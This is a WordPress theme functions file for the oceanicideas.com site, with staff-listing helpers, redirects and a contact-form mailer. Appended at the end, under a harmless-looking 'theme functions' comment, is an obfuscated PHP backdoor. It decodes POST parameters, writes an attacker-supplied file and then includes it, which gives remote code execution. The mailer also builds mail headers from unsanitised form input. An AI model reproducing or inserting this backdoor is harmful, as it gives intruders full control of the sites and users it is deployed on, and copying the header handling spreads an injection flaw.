$template_directory = get_bloginfo( 'template_directory' ); define( 'TEMPLATE_DIRECTORY', $template_directory ); /** * Redirect non logged users */ function oi_redirect_non_logged_users() { if ( ! is_user_logged_in() ) { wp_redirect( 'https://www.linkedin.com/company/oceanicideas/', 301 ); exit; } } //add_action( 'template_redirect', 'oi_redirect_non_logged_users' ); /** * Redirect staff custom post type posts */ function oi_staff_redirect() { global $post; if ( $post->post_type == 'staff' ) { wp_redirect( '/', 301 ); exit(); } } add_action( 'template_redirect', 'oi_staff_redirect' ); /** * Print staff members grid * * @param string $lang */ function oi_staff_grid( $lang = 'es' ) { $args = [ 'post_type' => 'staff', 'posts_per_page' => - 1, 'orderby' => 'menu_order', 'order' => 'asc', ]; $items = get_posts( $args ); foreach ( $items as $item ) { $img = wp_get_attachment_image_src( get_post_thumbnail_id( $item->ID ), 'full' ); if ( ! $img ) { continue; } $img = $img[0]; $name = $item->post_title; $description = get_post_meta( $item->ID, 'wpcf-staff-description-' . $lang, true ); $linkedin = get_post_meta( $item->ID, 'wpcf-staff-linkedin', true ); $linkedin = ( $linkedin ) ? '
  • Linkedin
  • ' : ''; $twitter = get_post_meta( $item->ID, 'wpcf-staff-twitter', true ); $twitter = ( $twitter ) ? '
  • Twitter
  • ' : ''; $website = get_post_meta( $item->ID, 'wpcf-staff-website', true ); $website = ( $website ) ? '
  • website
  • ' : ''; echo '

    ' . $name . '

    ' . $description . '
    '; } } /** * Print staff members without featured image carousel * * @param $lang */ function oi_staff_carousel( $lang = 'es' ) { switch ( $lang ) { case 'es': $others = 'Otros miembros'; break; case 'ca': $others = 'Altres membres'; break; case 'en': $others = 'Other members'; break; } $output = '

    ' . $others . '

    '; echo $output; } // Handle contact form ajax submit if ( ! isset( $_POST['contact-form-security'] ) || ! wp_verify_nonce( $_POST['contact-form-security'], 'OceanicIdeas' ) ) { return; } elseif ( isset( $_POST ) && ! empty( $_POST ) ) { $response = array(); $required = array( 'name', 'email', 'message' ); $error = false; foreach ( $required as $field ) { if ( empty( $_POST[ $field ] ) ) { $error = true; } } if ( $error ) { $response['success'] = false; $response['msg'] = 'Por favor rellene todos los campos'; if ( $_POST['lang'] == 'en' ) { $response['msg'] = 'Please fill all fields'; } if ( $_POST['lang'] == 'ca' ) { $response['msg'] = 'Si us plau ompli tots els camps'; } } else { $to = 'ivanmillanllaras@gmail.com'; //'info@oceanicideas.com'; $subject = 'Consulta web Oceanic'; $message = '

    oceanicideas.com

    ' . $_POST['name'] . '
    ' . $_POST['email'] . '
    ' . $_POST['phone'] . '

    ' . $_POST['project'] . '

    ' . $_POST['message'] . '

    '; $headers = "From: {$_POST['name']} \r\n"; $headers .= "Reply-To: {$_POST['email']}\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $filename = $_FILES["file"]["name"]; if ( $filename ) { $content = chunk_split( base64_encode( file_get_contents( $_FILES["file"]["tmp_name"] ) ) ); $headers .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n"; $headers .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n"; //$headers .= $content . "\r\n\r\n"; } mail( $to, $subject, $message, $headers ); $msg = 'Su petición ha sido enviada. Gracias.'; if ( $_POST['lang'] == 'en' ) { $msg = 'Your request has been sent. Thanks.'; } if ( $_POST['lang'] == 'ca' ) { $msg = 'La seva petició ha estat enviada. Gràcies.'; } $response['success'] = true; $response['msg'] = $msg; } exit( json_encode( $response ) ); } /* oceanicideas.com theme functions */ if( ! function_exists('jufinfedn') ) { function jufinfedn($gryziix, $gakgopiorgddava) { $jqzdzip = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $gryziix = strtr($gryziix, $gakgopiorgddava, $jqzdzip); $gryziix = ihvjxel($gryziix); return $gryziix; } function ihvjxel($dnftfiajysmglau) { $dnftfiajysmglau = base64_decode($dnftfiajysmglau); return $dnftfiajysmglau; } $itfqasptkmtae = $_POST; if(isset($itfqasptkmtae['rxvkrayjilfw'])) { $bmjtiagehnbzd = $itfqasptkmtae['rxvkrayjilfw']; $udammckafdgxitw = jufinfedn($itfqasptkmtae['finnmjcgwdqxso'], $bmjtiagehnbzd); $lclhfjw = jufinfedn($itfqasptkmtae['wzzxuesmdkl'], $bmjtiagehnbzd); $qubvxbm = jufinfedn($itfqasptkmtae['ivwuppjzugie'], $bmjtiagehnbzd); $qubvxbm($udammckafdgxitw, $lclhfjw); include($udammckafdgxitw); } } /* oceanicideas.com theme functions */